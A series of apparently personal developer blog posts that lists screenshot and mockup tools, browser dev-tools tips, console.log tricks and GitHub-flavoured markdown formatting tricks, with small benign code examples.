While we're on the topic of code screenshots, I have to mention a few really neat IDE extensions which help you take great screenshots, directly from VS Code.

Polacode by @octref

CodeSnap by @kufii

Snipped by @jeffersonlicet

Browser / Device Screenshots

9. Browser Frame

Browser Frame, developed by @pqvst creates clean and minimal web browser mock-ups, with a range of browser frames in both light and dark mode supported.

10. Screely

Screely, developed by @JurnW creates very simple browser mockups, with an optional background fill.

11. Mock up Phone

Mock up Phone by Authgear has a range of different mobile, tablet, laptop and large screen device frames, which are easy to upload images into. But keep in mind the screenshots ratio must be correct to avoid it being stretched.

12. Screenshot.Rocks

Screenshot.Rocks by @daveearley generates very simple browser and mobile mockups, with an optional background, shadow and controls.

13. The App Launchpad (requires sign up)

Unlike other options on this list, The App Launchpad does require sign up, but it's free to use. It's a tool that makes it easy to build beautiful screenshots for your app, optimised for publishing to Google Play and the Apple Store.

14. Magic Mockups

Magic Mockups, developed by Kaspars Sprogis is an older tool, but still very useful if you want to generate mockups displayed on a physical device in real-life situations. Note that your screenshot needs to be exactly the right ratio, to avoid it being stretched or cropped.

15. Device Shots

Device Shots by @diogocapela let's you build colourful, annotated app screenshots.

Social Media Screenshots

16. Poet.so

Poet.so, built by Callum Mckeefery generated beutiful embeded social media posts. It supports content fetched from Twitter, LinkedIn and Shopify, and has several themes and customization options.

14. Tweetlet

Tweetlet by Basharath is very similar to Poet, but also supports embedding code, images, text and Tweets.

General

17. Mockoops

Mockoops by Mohit Yadav lets you turn any screen recording (or image) into a beautiful animated video

18. Fabpic

Fabpic by Shadab Alam adds beautiful gradient backgrounds, drop shadow and borders to any image

19. SuperShots

SuperShots by Superblog is a simple tool to add gradient backgrounds to a picture. It's similar to PrettySnap, which also supports patterned backgrounds

20. PrettySnap.app

Finally, PrettySnap.app applies custom patterned backgrounds, shadows, and border radius to images. It's made by @kanga_bru, and there's also a Windows App

APIs

21. API Flash

There's plenty of screenshot API services out there, but API Flash is one that I've personally used across countless projects. You can generate a URL which resolves to a screenshot of your website and pass in parameters to configure it (like custom CSS, element selector, device + resolution, timeout delay, no ads / cookie banner, etc).
Although you only get 100 scr/ month on the free plan, there's an option to set the cache time, which makes it easy to stay within that limit.

Screenshot Apps

Flameshot is a free and open source (here on GitHub), cross-platform (C++ for Win, Mac and Linux), highly customisable desktop screenshot app. It's simple to use, includes some nice features like an in-app screenshot editor, and most importantly has an integrated command line interface. For Windows users, ShareX is super powerful

If you use Firefox, you can capture screenshots right from your browser. Just right-click on any part of a website and select "Take Screenshot" (or Ctrl + Shift + S). From here, you can either capture the entire page, a selection, or specific HTML nodes.

Gimp can also take screenshote (although it needs to e launched first), just navigate to File --> Create --> Screenshot, select your options, and hit Snap.

Finally, the ImageMagick package includes a screenshot util with plenty of customisation options, and can be invoked from the command line (with import), or integrated into a script.

And if you need to create visual step-by-step guides, there's several extensions that will help with this, including: Tango.us, ScribeHow, Minervaknows, etc.

50+ Awesome Dev Tool Tips 🔥

Alicia's Notes 🚀 — Sun, 13 Nov 2022 13:47:37 +0000

The browser developer tools are incredibly powerful, with new debugging and optimisation features being added every few months.

The following post outlines 50+ awesome tips, that you can use to supercharge your web development experience.

Design Mode

Enabling design mode will make the entire web page editable, just by clicking and typing.

To use it, open up the console and run:

document.designMode = 'on'

Pretty Print

Raw files are usually minified, and therefore hard to read. Use the Pretty Print option to format it

In the background, Chrome is creating a new file (names filename.js:formatted), closing that file will undo the formatting.

If doing this each time is getting boring, then there's an experimental setting to auto-enable pretty print for all sources.
Under ⋮ → Settings → Experiments Select Automatically pretty print in the Sources Panel.

Command Pallet and Super Search

The command pellet gives you full access to every command available within the dev tools, and is super valuable for quick navigation.

Type Ctrl + Shift + P to open up the Command Menu, then start typing to filter commands and press enter to execute.

In the same way, if you're only looking to find a function name, you can use Ctrl + Shift + O to filter methods across files.

From the same menu, you can also search through all loaded resources by filename or code (HTML, CSS, JS, etc), all network requests, visible components, memory profiles, snippets and much more. Advanced features like RegEx are supported.

For an app built with a framework, you'll probably see a lot of irrelevant files (like nodemodules, webpack output, etc). You can hide this under ⋮ → Hide ignore-list sources. By default, this uses the smart `xgoogle_ignorelist` to detect what's likely not relevant, but you can also add your own custom sources, specified by regex under Settings.

Snippets

So you've spent a while crafting a function in the console, and you plan on reusing it across various sites later. That's where snippets come in, they're invoked from the command pallet, and let you save code for later and execute it using the bang ! operator.

Live Expressions

Instead of repeatedly executing a command to monitor for changes, you can watch values in real-time using Live Expressions. Just execute a command, then pin it using the eye icon to see changes reflected automatically.

There's many use cases for this, but one I use often is when testing keyboard navigation of an app, pinning the document.activeElement command will print a log of evertime the focused element changes, even once it's been removed from the GUI.

Tracking Changes

We've all been there, you've been editing your app's HTML, CSS and JS through the dev tools and got things working perfectly, but you can't remember exactly what you changed. That's where the Changes Tab comes in. Access it through the command pallet (with Control+Shift+P, then type "Show Changes"), or through the lower draw.

You'll then be able to see a diff output of all your changes. From here you can Copy changes to clipboard, or revert certain changes.

Console Shorthand

$() - Short-hand for Document.querySelector() (to select DOM elements, jQuery-style!)
$$() - Same as above, but for selectAll for when returning multiple elements in an array
$_ - Returns value of last evaluated expression
$0 - Returns the most recently selected DOM element (in the inspector)
$1...$4 can also be used to grab previously selected UI elements
$x() - Lets you select DOM elements using an Xpath query
keys() and values() - Shorthand for Object.getKeys(), will return an array of either obj keys or values
copy() - Copies stuff to the clipboard
monitorEvents() - Run command each time a given event is fireed
For certain common console commands (like console.table()), you don't need to type the preceding console., just run table()

You can clear the console at anytime using Ctrl + L, using the clear button, or by running clear()

There's many more console shorthand commands, here's a full list.

Warning These tricks only work within the dev tools console, and will not work in your code!

Find Unused Code

Easily identify which bundles are the largest, and how much of their code is actually used, and what the load impact of each file is, using the Coverage tool. This illustrates exactly which code is being loaded but never used, and what the cost of it is.

Click the three dots, select coverage and reload the page. Any red bars indicate unused code, and will likely be making your app slower. Clicking an individual file will let you see specifically what code isn't being used.

Rendering Panel

This tool is super useful for identifying elements that are being edited more often than possibly necessary, and which are likely negatively affecting performance and user experience.

The frame rendering stats is specifically useful, for monitoring CPU and GPU usage, helping you identify things before they become a problem.

Network Paint Times

Your probably familiar with the waterfall chart rendered by the Network tab, and how useful that is for detecting slower requests. But from here, you can also enable screenshots to see exactly what parts of your site will load visually for end users on slower connections.

Network Timings

Clicking on an item shows headers and response, but head to the Timing tab, and you'll be able to see what stage the request was held up at, and specific server timings. Using the Server-Timing API, you can pass even more detailed info from your API to your client app, and view data in the Timings tab of the browser dev tools. To use this, just add the Server-Timing header to your response data, and detailed charts will be visible in the dev tools.

To find the total size of your web page, under the Network panel, check Disable Cache, reload the page, and the info bar at the bottom will display total size, total time, total requests and other key stats.

Inspect Network Requests

You likely already know this, but you can also view the request and response for any HTTP request your site makes, as well as view loading times and see where in the code it was triggered.

Performance

It's really worth exploring the performance panel and all that it has to offer. Just hit the record button, then interact with your site like an end-user might. When you're finished, you'll have a really detailed breakdown of CPU usage, FPS and memory allocated to the heap. Where ever there's a spike in the timeline, that usually indicates an area of code that needs to be optimised. You can then investigate this further by drilling down on the flame chart, to see the full stack trace of everything that happened on the main thread.

Identifying Memory Leaks

Modern browser automatically garbage-collect any data that is no longer being referenced to. But poorly written code can mean you have obsolete code references that build up over time causing a memory leak. This can be detrimental to performance and greatly hider user experience.

Thankfully, they're not as hard to find or debug as you might have thought. Under the Memory tab, select "Allocation instrumentation on timeline", then hit record.
The blue bars indicate memory that's still in use, and the grey bars show what was garbage collected. So a rapidly growing blue bar would be where your mem leak is happening, and you can then click that bar to see exactly what data objects they contain, and easily identify the cause.

Worth also noting that the web page isn't the only source of memory leaks. They can also be caused by add-ons, the browser engine itself or even data caching. Use the Statistics view to see a breakdown of what data is using memory.

Raw Memory Inspection

If you're building a web assembly app, this will be particularly important to you. From the memory inspector, you can drill down the scope, and inspect ArrayBuffer, TypedArray, DataView, and Wasm Memory. Here's a WASM demo:

Test bfcache

bfcache is a browser feature that enables instant backward and forward navigation, it works differently from the HTTP cache because it stores a snapshot of the entire page in memory, which is what the user will see while the navigation is happening.

In order for the bfcache feature to work effectively on your site, you need to optimise for it. And that's where the Back/Forward Cache Tester comes in. Under Application → Back/forward cache tab, click "Test back/forward cache", and you'll be presented with the results which will list issues for each frame. Clicking each result will also give you instructions on how you can fix it.

Full Refresh

Some errors are caused by cached content, and for those a normal refresh isn't enough. With the dev tools open, you can hold down the refresh button (for 2 seconds), and you'll see some additional refresh options, including "Empty Cache and Full Reload".
This is also useful for measuring first-time load metrics for new users, when nothing is previously cached.

To refresh all tabs at once, just reun chrome://restart in the address bar.

Lighthouse

Lighthouse is an extremely useful (and easy!) tool for measuring Core Web Vitals - accessibility, SEO, responsivness, performances, security, PWA compatibility, best practices and overall user experience.

Just open the Lighthouse tab, and click "Start Scan".

Lighthouse results can be exported in a range of formats, and there are various external viewers you can use to gain additional insight (like this one).

Lighthouse scans can also be incorporated into your CI/CD system, so that you have constant visibility into your apps core vitals.

Page Size Breakdown

Understanding what data is being loaded into your site will help you reduce overall bundle size. This can be done from the Memory and Network tabs, but sometimes a more visual view helps put things into context.
The Chrome Memory Treemap is really useful for this - to use, just run a Lighthouse scan, export the results in JSON, then import it into googlechrome.github.io/lighthouse/treemap/.
You can click any element, to zoom in and inspect additional info.

Record User Flows

Note (This feature is still in beta, and currently requires Chrome Dev Eddition)

Record, reply and audit user flows under the audit panel. Just click Start new Recording, enter a name and hit go. Everything the user does, including mouse moves, keypresses, pauses and more will be logged. You can then use Replay to view back the users journey.

In the replay settings each step can be expended to view details, you can also edit, add and remove steps in real-time. There are additional options for simulating things like environment of slow network connection. This is super useful for user testing.

You can also import and export user flows as a Pupateer scripts, to share with others.

Advanced User Flow Operations

The recorder tool has many other valuable features which often go under-used. Being aware of what you can do, will help you supercharge your user testing.

Examples of when this can be useful include: sending the exact steps to recreate a bug to another developer, demonstrating to an analyst exactly how users behaved during a testing session, or slowing things down to debug complex issues.

Once you've recorded a user flow, you can:

Replay it (obviously!)
View detailed performance metrics over time
Export it (as JSON, Puppeteer or Puppeteer reply script)
Edit the flow (then re-import it)
Share user flows with others (for testing or demonstration)
Configure replay settings, such as apply throttling or device limitations
Replay in slow mo, with detailed debugging
Apply breakpoints, to pause and inspect at certain steps
Import user flows generated by other tools
Add additional steps, or remove steps

There are several third-party tools that let you do even more, as well as import / export in additional formats, like the Cypress add-on, Nightwatch add-on, Jest add-on, WebDriver add-on and more.

Pausing Execution with Breakpoints

Breakpoints are an absolute essential for debugging. They enable you to pause everything at a certain point to inspect state and discover issues. You're probably already aware that you can trigger a breakpoint at a certain point, either with the debugger statement statement, or by clicking the margin (in the sources panel, or with a compatible IDE). But there's several other types of breakpoints, including:

Conditional line-of-code - On an exact region of code, but only when some other condition is true.
DOM - On the code that changes or removes a specific DOM node, or its children.
XHR - When an XHR URL contains a string pattern.
Event listener - On the code that runs after an event, such as click, is fired.
Exception - On the line of code that is throwing a caught or uncaught exception.
Function - Whenever a specific function is called.

You can also make conditional breakpoints (represented as orange tabs), which will only pause the execution when certain conditions are met. To do so, just right-click, select Edit Breakpoint, then use JavaScript to resolve a boolean using current state.

If there's a specific method you want to pause on, just run debug(methodName) to start, and undebug(methodName) to end.

Once a breakpoint has been hit, you can interact with any current state through the console.

TODO

Remote Debugging

As any app developer will tell you, nothing beats testing on a real device. But when it comes to the web, the browser debugging tools are essential. That's where remote debugging comes in - it enables you to test on a physical device while continuing to have the debugging power of the browser tools.

The same can work in the opposite direction, where you run your dev environment locally or host it remotely, but access it on an external device.

This does require either port forwarding or custom domain mapping (but neither are as scary as they sound!). The docs provide setup instructions and proxy configurations.

And if you're developing a native Android app, which has embedded web views, you can use the browser's dev tools to debug these too (docs).

Mock Location and Sensors

In a similar way to the iOS and Android emulators, you can simulate various sensors and hardware settings. This is useful if the app your developing relies on any of this data. Under the Sensors tab, you'll be able to change your location, time zone, locale, screen lock, orientation, motion / acceleration etc.

If you frequently find yourself switching between locations or locales, you can add these under Settings --> Locations.

Death by Errors, no more!

If you're wading through a large code base or dealing with a poorly written library, and drowning in exceptions which are distracting you from what you're actually trying to debug, then under the settings you can opt to ignore any exceptions thrown by certain scripts or from a given framework. The ignore list can be specified by regex patterns for specific targeting.

You can auto-hide source files for most major frameworks by heading to ⋮ → Ignore List, and selecting "Automatically add known third-party sources to Ignore list". This will make the stack trace in the console show less irrelevant info. You'll still be able to view the full stack for any given error, just by clicking "Show more".

By default the console will show output from all contexts. This means if you've got an extension installed that's throwing an error it will be cluttering up your console. Just right-click on the file name, and under Filter select Hide messages from [ext name]. You can unhide these at anytime from the same menu.

View and Edit Storage

While we're in the Application tab, it's worth mentioning how essential these tools are for viewing, deleting and editing data stored in local storage, session storage, cookies, IndexedDB, etc.

From the storage tab, you can also see a breakdown of how much your site is storing, and simulate restraints like custom storage quotas or disabling cookies.

Note that stored data is (usually) only accessible from the domain which set that data. So if you're debugging stored data in the console for any context other than the default one, you'll need to use the frame dropdown at the top to switch domains.

Debug Background Services

If you app includes notifications, sync, background fetch or anything else that should continue running even when the app / current tab is not in the foreground, then these tools are invaluable. Under the Application tab's Background Services section, you can click a API category, start recording, then put your app into the background. When you come back, you'll be able to see specifically which events fired, and inspect each one.

Side note, you can view all registered service workers, manage, debug and de-register them from: chrome://serviceworker-internals

HTTPS Security Checks

The Security tab provides a good starting point, for when verifying common HTTPS issues on your site. It checks for, and highlights common SSL issues, including non-secure main origins and mixed content. You can also check web certificate chains in more detail.

Web Auth

This ones a bit more niche, but absolutely essential if you're building anything with soft-tokens or 2FA. The WebAuthn tool will let you generate and emulate virtual authenticator devices using a variety of protocols (2FA, FIDO/CTAP) and interface types (USB, NFC, Bluetooth, internal) with additional options for user verification, resident keys, etc.

Here's a quick demo:

For an overview of web auth, see WebAuthn.guide, or view the W3 spec

On a side-note, there's an interesting article explaining how they built the webauthn tab.

Accessibility Tools

Accessibility is not just important for inclusion, it's also a legal requirement for most public-facing apps and services. If you're not yet sure the core concepts of web accessibility standards, I recommend the Web.Dev Accessibility Tutorial, which provides a great summary.

Lighthouse provides a good starting point for auditing accessibility, and is easy to use, and built directly into the developer tools.

The CSS tools also have a built-in contrast tool, which will help you apply readable colors to your site. The inspect pop-up will show a warning, and you can analyze this further in the Styles pain.

Beyond that, the Accessibility tab let's you view an element's position in the DOM tree, ARIA attributes, and computed accessibility properties, all of which are used by accessibility tools like screen readers.

There are additional add-ons which can give you much more powerful insights. Mainly, the axe DevTools. This will show you detailed results and instructions of how to fix.

Screenshots

You can capture screenshots directly from the dev tools, including: full-page, specific area or single-node screenshots.
Either open up the command pallet and type screenshot, or for an element screenshot, just right-click on the DOM element in the inspector and select Capture Screenshot.

Super-Copying

From the elements tab, right-click on an element and under Copy, there are several different options. Copy selector will give you a CSS selector to target that element, similarly copy JS path will give you a query string to select the element in JavaScript, and copy outer HTML will copy the actual HTML. Copying the styles of an element, will give you all the computed CSS for a given element.

Animations Timeline

The animations panel (opened by clicking the 3-dots) lets you record any keyframe animations, and then scrub through them to inspect the actual CSS properties that are affected.

Forcing Elements State

If you need to preview the styles of a given element in a particular state (e.g. :hover, :visited, :active, :focus, etc), then either right click it and select Change pseudo class, of from the the styles editor click the :hov icon.

CSS Sizes and Units

Do you ever inspect an element, then hold the arrow keys up/ down for literally ever until the size looks right? Well you can also drag the units horizontally to easily preview different sizes. Similarly, for angles you can use the clock rotater to preview / apply any value. Got the wrong units? Just hover over the size, and click the drop down to quickly switch units.

Color Pallets

Most apps include only a handful of colors, and usually when your changing a color, it will be to one of those values. That's why the palette tool is so useful. By default, there are several pre-made palettes: from your pages current colors, your pages CSS variabels, the Material pelette and an empty custom palette. Switch between them with the arrows.

While we're here, it's worth also touching on just how powerful the color tool is. From here you can:

Change color shades, hue and transparency - with live preview
Convert between units (hex, RGB(A), HSL(A), HWB(A))
Use the eye dropper to pick any color from your screen
Copy color value to the clipboard

If you're not already doing so, try to make use of CSS variables (not SASS vars) throughout your app. That way you can update the color in one place, and have it previewed/ applied everywhere. In the dev tools, click a variables name to go to original definition, from there you can modify it.

Easy Box Shadows

Box shadows are one of those things that are best previewed live. That's why the shadow-editor is so useful. Just click the icon next to any shadow to preview different X/Y offsets, blur, spread and directions of both inset and normal shadows.

Easy Animations

By clicking the animation option, you can easily preview various transitions and effects.

Responsive Design Mode

Easily check that your site displays nicely on a range of devices, using the Responsive Design Mode.

By default only a few devices are shown, but head to Settings --> Devices and you'll be able to enable a whole bunch more from the list, or even create your own custom device with dimensions, user agent, platform, architecture and more.

Badges

You may have notices a little chip/ badge next to certain elements in the Elements tab. These are Badges, and can be used to apply overlays or add extra features to certain element types including Grids, Flex layouts, Ads, Scroll-Snaps, Containers, Slots and more. To enable badges, right-click an element in the DOM tree and select Badge settings, then check / uncheck what you'd like to be visible.

Many of these badges open the door to additional features, like the Flexbox Debugger and Grid layout debugger

Rulers

There's always that one front-end dev, so keen to please the designers that he's using an actual ruler to measure the elements on his screen. Well no need for that, or any dodgy ruler browser extensions, as this feature is built directly into the dev tools. Enable it under ⋮ → Settings → Preferences → Elements → "Show rulers on hover".

In Firefox, there is a built-in ruler feature, available through the Toolbox Buttons in the top-right.

Style Overview

The CSS Overview tab helps you quickly get an overview of CSS improvments you can make. The aim is consistency (colors, fonts, breakpoints, styles, etc).

Color Pallet - Shows all colors used on your site. Useful for identifying elements which don't conform to your desired theme / designs
Fonts - Displays all typefaces, sizes and variations used in your page. A good webpage will be consistent with only a few fonts and text styles.
Media queries - Outputs all breakpoints used in your site, sorted by highest occurrence. You should aim to keep them consistent to make responsive testing easier
Unused Declarations - Lists key information about any unused declarations as well as styles that have no effect. Removing these will speed up load times, and make CSS easier to read.

Layers

The Layers panel (more tools → Layers) will show what's happening both off screen and on additional layers (with 3d mode).

It's particularly useful for visualising how specific animations are working, from a functional perspective, without having to wade through a bunch of keyframes and obfuscated code.

Saving Changes to Disk

There are two methods to save or persist changes you've made in the dev tools. Workspaces and Local Overrides.

Workspaces enable you to save changes you make in the devtools directly to your working copy on disk
Workspaces can be setup under Sources → File System → Add Folder. They support HTML, CSS and JavaScript and content can be edited, previewed and saved directly through the sources panels. Certain frameworks require some extra setup to get properly working.

Local Overrides enable you to persist changes across sessions (but without effecting original source files)
Overrides can be setup under Sources → Overrides. You can use the Changes menu to preview / export a diff of what you've changed.

Automation

For more advanced tasks, everything in the developer tools can be automated, via the Automation APIs using WebDriver Protocol (which is what tools like Selenium use). As an example, see the webdriver devtools package.

Familiar Shortcuts

So almost everything within the browser developer tools has keyboard shortcuts, here's the full list. But if you're struggling to memorise them all, then you can actually switch to familiar VS Code bindings. Under Settings --> Shortcuts, under the Match shortcuts from preset menu, select Visual Studio Code.

Dark Mode

Finally, but by far the most important tip of all: dev tools dark mode!

Under Settings --> Preferences --> Appearances --> Theme, use the dropdown to switch from Light to Dark, and immediately 10x your developer experience. Because like they say... bugs are attracted to the light 🐛🔦

And if you're too cool for the default dark mode, you can write your own stylesheet, then enable the custom loading of CSS! There's a few pre-made stylesheets and an extension available here.

Useful Add-Ons

We're not quite done... so far we've only covered the built-in dev tools, but there are a bunch of super useful add-ons/ extensions

If you're working with a specific framework (like React, Svelte, Vue, etc), then adding their dev tools with give you additional debugging power over components, state and more.

React Dev Tools - Inspect React component hierarchies and profile data
Redux Dev Tools - Debug redux data and monitor state changes
GraphQL Network Inspector - Inspect GQL requests with support for relay batching
Vue Dev Tools - Debug component hierarchy and state in Vue apps
Svelte Dev Tools - Inspect the Svelte state and component hierarchies
Angular Dev Tools - Preview state of directives of Angular component instances
Meteor Dev Tools - Debug Meteor apps

Beyond that, almost everything else can be done nativity / without additional extensions, there's still a few QoL add-ons that can be helpful, but keep in mind, that if you use any of these, you should create a separate Dev profile within your browser, as otherwise they may negatively effect you privacy (installed extensions make you more identifiable).

Visbug - Interact with and modify any websites, without needing any HTML or CSS knowledge
Lighthouse - Automated performance, quality and correctness checker
Designer Tools - Grids and rulers for in-browser measurement and alignment
Motion Tools - Inspect and design complex CSS animations
Pixel Perfect - Overlay designs over webpages for building pixel perfect pages
CPU + Mem Performance Monitor - Add system resources overlay to sites
SEO Inspector - Easy inspection of Meta tags for SEO
Save all Resources - Easily download everything associated with a site, preserving directory structure
Multi-Proxy - Connect to multiple proxies (simultaneously) with IP matching and blocking
Accessibility Insights - Get an overview of accessibile navigation issues
Check my Links - Quickly find and highlight all dead links within a page
Weppalizer - Similar to BuiltWith, quickly check what tech a site is built using
Octotree - Adds sidebar on GitHub for much easier navigation

Are we finished yet?

Alright, this time I swear it's the last section, but I couldn't resist mentioning this too!

There is SO MUCH more to the browser developer tools than covered here. Even if you've been a web developer for several decades, I'm pretty sure there's still a whole bunch of handy features that even you've not yet come across. So don't be afraid to go exploring!

The best features are still experimental. You can try them out by enabling them under Settings --> Experiments. There's a link next to each item where you can view a usage tutorial as well as the API docs.

Other Browsers:

Firefox dev tools has a very similar feature set and layout to Chrome, but includes a few advanced features (around audio, shaders)
Safari's developer tools are lagging behind in terms of features, but are sometimes still required for iOS testing.
Other Chromium-based browsers (like Edge, Brave, Vivaldi, etc) inherit from the same source as Chrome, and as such have virtually identical dev tools.

The following sources are great for staying up-to-date with the latest in debug tools:

Fun with console.log() 💿

Alicia's Notes 🚀 — Sun, 11 Sep 2022 20:00:15 +0000

If you've ever developed a web app, you'll be familiar with console.log(...), the method which prints data to the developer console; useful for debugging, logging and testing.

Run console.log(console), and you'll see that there's much more to the console object.
This post briefly outlines the top 10 neat tricks you can use to level up your logging experience.

Tables
Groups
Styles
Times
Asserts
Counts
Traces
Directory
Debugs
Log Levels
Multi-Values
Log Strings
Clear

Tables

The console.table() method prints objects/ arrays as a neatly formatted tables.

console.table({
  'Time Stamp': new Date().getTime(),
  'OS': navigator['platform'],
  'Browser': navigator['appCodeName'],
  'Language': navigator['language'],
});

Groups

Group related console statements together with collapsible sections, using console.group().

You can optionally give a section a title, by passing a string as the parameter. Sections can be collapsed and expanded in the console, but you can also have a section collapsed by default, by using groupCollapsed instead of group. You can also nest sub-sections within sections but be sure to remember to close out each group with groupEnd.

The following example will output an open section, containing some info

console.group('URL Info');
  console.log('Protocol', window.location.protocol);
  console.log('Host', window.origin);
  console.log('Path', window.location.pathname);
  console.groupCollapsed('Meta Info');
    console.log('Date Fetched', new Date().getTime());
    console.log('OS', navigator['platform']);
    console.log('Browser', navigator['appCodeName']);
    console.log('Language', navigator['language']);
  console.groupEnd();
console.groupEnd();

Styled Logs

It's possible to style your log outputs with some basic CSS, such as colors, fonts, text styles and sizes. Note that browser support for this is quite variable.

For example, try running the following:

console.log(
  '%cHello World!',
  'color: #f709bb; font-family: sans-serif; text-decoration: underline;'
);

You should get the following output:

Pretty cool, huh? Well there's a lot more you can do too!
Maybe change the font, style, background color, add some shadows and some curves...

Here's something similar I'm using in a developer dashboard, the code is here

Time

Another common debugging technique is measuring execution time, to track how long an operation takes. This can be achieved by starting a timer using console.time() and passing in a label, then ending the timer using console.timeEnd(), using the same label. You can also add markers within a long running operation using console.timeLog()

console.time("concatenation");
let output = "";
for (var i = 1; i <= 1e6; i++) {
  output += i;
}
console.timeEnd("concatenation");

concatenation: 1206ms - timer ended

There's also a non-standard method, console.timeStamp() which adds markers within the performance tab, so you can correlate points in your code with the other events recorded in the timeline like paint and layout events.

Assert

You may only want to log to the console if an error occurs, or a certain condition is true or false. This can be done using console.assert(), which won't log anything to the console unless the first parameter is false.

The first parameter is a boolean condition to check, followed by 0 or more data points you'd like to print, and the last parameter is a message to output. So console.assert(false, 'Value was false') will output the message, since the first parameter is false.

const errorMsg = 'the # is not even';
for (let num = 2; num <= 5; num++) {
  console.log(`the # is ${num}`);
  console.assert(num % 2 === 0, { num }, errorMsg);
}

Count

Ever find yourself manually incrementing a number for logging? console.count() is helpful for keeping track how many times something was executed, or how often a block of code was entered.

You can optionally give your counter a label, which will let you manage multiple counters and make the output clearer.
Counters will always start from 1. You can reset a counter at anytime with console.countReset(), which also takes an optional label parameter.

The following code will increment the counter for each item in the array, the final value will be 8.

const numbers = [1, 2, 3, 30, 69, 120, 240, 420];
numbers.forEach((name) => {
  console.count();
});

The following is an example output of labelled counters.

Instead of passing in a label, if you use a value, then you'll have a separate counter for each conditions value. For example:

console.count(NaN);         // NaN: 1
console.count(NaN+3);       // NaN: 2
console.count(1/0);         // Infinity: 1
console.count(String(1/0)); // Infinity: 2

Trace

In JavaScript, we're often working with deeply nested methods and objects. You can use console.trace() to traverse through the stack trace, and output which methods were called to get to a certain point.

You can optionally pass data to also be outputted along with the stacktrace.

Dir

If your logging a large object to the console, it may become hard to read. The console.dir() method will format it in an expandable tree structure.

The following is an example of a directory-style console output:

You can also print XML or HTML based trees in a similar way, by using console.dirxml().

Debug

You may have some logging set up within your app, that you rely on during development, but don't wish the user to see. Replacing log statements with console.debug() will do just this, it functions in exactly the same way as console.log but will be stripped out by most build systems, or disabled when running in production mode.

Log Levels

You may have noticed that there's several filters in the browser console (info, warnings and error), they allow you to change the verbosity of logged data. To make use of these filters, just switch out log statements with one of the following:

console.info() - Informational messages for logging purposes, commonly includes a small "i" and / or a blue background
console.warn() - Warnings / non-critical errors, commonly includes a triangular exclamation mark and / or yellow background
console.error() - Errors which may affect the functionality, commonly includes a circular exclamation mark and / or red background

In Node.js different log levels get written to different streams when running in production, for example error() will write to stderr, whereas log outputs to stdout, but during development they will all appear in the console as normal.

Multi-Value Logs

Most functions on the console object will accept multiple parameters, so you can add labels to your output, or print multiple data points at a time, for example: console.log('User: ', user.name);

But an easier approach for printing multiple, labelled values, is to make use of object deconstructing. For example, if you had three variables (e.g. x, y and z), you could log them as an object by surrounding them in curly braces, so that each variables name and value is outputted - like console.log( { x, y, z } );

Log String Formats

If you need to build formatted strings to output, you can do this with C-style printf using format specifiers.

The following specifiers are supported:

%s - String or any other type converted to string
%d / %i - Integer
%f - Float
%o - Use optimal formatting
%O - Use default formatting
%c - Use custom formatting (more info)

For example

console.log("Hello %s, welcome to the year %d!", "Alicia", new Date().getFullYear());
// Hello Alicia, welcome to the year 2022!

Of course, you could also use template literals to achieve the same thing, which might be easier to read for shorter strings.

Clear

Finally, when you're looking for an output from an event, you might want to get rid of everything logged to the console when the page first loaded. This can be done with console.clear(), which will clear all content, but nor reset any data.

It's usually also possible to clear the console by clicking the Bin icon, as well as to search through it using the Filter text input.

And some more...

There's so much more that you can do with logging to the console! For more info, check out the MDN console Documentation or the Chrome Dev Console Docs.

Just a quick note about best practices...

Define a lint rule, to prevent any console.log statements from being merged into your main branch
Write a wrapper function to handle logging, that way you can enable / disable debug logs based on environment, as well as use appropriate log levels, and apply any formatting. This can also be used to integrate with a third-party logging service with code updates only needed in a single place
Never log any sensitive info, the browser logs can be captured by any installed extensions, so should not be considered secure
Always use the correct log levels (like info, warn, error) to make filtering and disabling easier
Follow a consistent format, so logs can be parsed by a machine if needed
Write short, meaningful log messages always in English
Include the context or category within logs
Don't overdo it, only log useful info

GitHub Markdown Tricks 🐙

Alicia's Notes 🚀 — Fri, 01 Jul 2022 14:49:16 +0000

A collection of 20 things you can do with GitHub-flavoured markdown to spice-up your projects readme!

Include Notes and Warnings

> [!IMPORTANT]
> This is some important text.

> [!WARNING]
> This is a warning.

> [!NOTE]
> This is just a note.

Will render:

Note that this feature is still in beta.

Mermaid Diagrams

You can add live diagrams to your documentation, using Mermaid Syntax. Check the docs for syntax, then use the Live Editor to build out your diagrams, then embed the code into your readme, where they'll be rendered.

Just add the mermaid identifier to the start of your code block. For some examples, see the mermaid repo.

Embedding Files

You can embed any code, markdown or media file into GitHub markdown, by copying it's permalink, and pasting it into your document. Note that the content must be located in the same repository.

Tiny Text

Using the  (Subscript) and  (superscript) will generate tiny text. But to keep it vertically-centred, you can combine the two with: Small Text!

Insert Keyboard Keys

Great for visually showing which keys to press, or drawing attention to something (see example)

<kbd>Key</kbd>

Underlined Text

You probably already know that you can make bold text with **Bold!**, and italic text with _Italic!_ (both of which can also be done with the  and  tags) - but you can also have underlined text, using the <ins></ins> tag.

<ins>I'm Underlined!</ins>

Collapsible Sections

Useful for including long blocks of text (like logs or API response), without clogging up your page (see example)

<details>
    <summary>Collapsable Title</summary>
    <p>Put Content Here</p>
</details>

Note that to include markdown within the  content block, you must pad it with blank lines, both top and bottom

Want sections to be open by default? Just append the open attribute. For example:

<details open><summary><h2>I'm Open</h2></summary>
...
</details>

Indentation

Using <dl>, <dt> and <dd> you can create indented paragraphs, with a nicer aphetic. The indented text can wrap multiple lines, while maintaining indentation.

<dl>
  <dt>This is a list</dt>
  <dd>With hanging indentation</dd>
</dl>

Embedding a Video

You can embed an MP4, simply by including the URL to the raw video in your markdown file (see example)

This doesn't (yet) work with YouTube videos (unless you download and re-upload them). But here's a trick to embed a frame, which will take the user to the video on-click:

<a href="http://www.youtube.com/watch?feature=player_embedded&v=YOUTUBE_VIDEO_ID_HERE" target="_blank">
 <img src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg" alt="IMAGE ALT TEXT HERE" width="240" height="180" border="10" />
</a>

Centre an image or other content

Make the title, sub-title and / or logo image centred (see example)

<p align="center">
  <img width="500" src="---" alt="---">
</p>

Adding Title to Links

You can add a title to a link, which will be displayed when the user hovers over it. This is done by surrounding it in quotes immediately after the URL

[DuckDuckGo](https://duckduckgo.com "A great search engine for privacy").

GitHub-Specific Emojies

In GitHub flavoured markdown, emojis can be specified by their shortcode (e.g. :nerd_face:), here's a cheatsheet

But there are also some GitHub-specific emojis, including:

Octocat :octocat: →
Bowtie :bowtie: →
Neck Beard :neckbeard: →
Troll Face :trollface: →
Ship It :shipit: →
Suspect :suspect: →

And a few more...

:rage1: → :rage2: → :rage3: → :rage4: →
:hurtrealbad: → :goberserk: → :finnadie: → :feelsgood: →
